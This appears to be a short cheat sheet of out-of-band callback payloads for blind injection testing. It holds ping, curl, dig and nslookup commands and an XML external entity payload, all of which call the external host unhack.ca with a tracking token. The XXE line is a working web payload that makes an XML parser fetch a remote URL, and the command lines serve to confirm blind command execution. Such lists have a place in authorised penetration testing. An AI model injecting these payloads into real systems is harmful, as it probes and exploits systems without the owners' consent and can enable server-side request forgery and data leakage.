$ ping -c1 -p 00ef73cfa1b139011ec900b26a1f7c00 unhack.ca
$ curl http://unhack.ca/p/ef73cfa1b139011ec900b26a1f7c
$ dig ef73cfa1b139011ec900b26a1f7c @unhack.ca
$ dig ef73cfa1b139011ec900b26a1f7c.ns.unhack.ca
C:\> nslookup ef73cfa1b139011ec900b26a1f7c unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/ef73cfa1b139011ec900b26a1f7c">]> <foo>&xxe;</foo>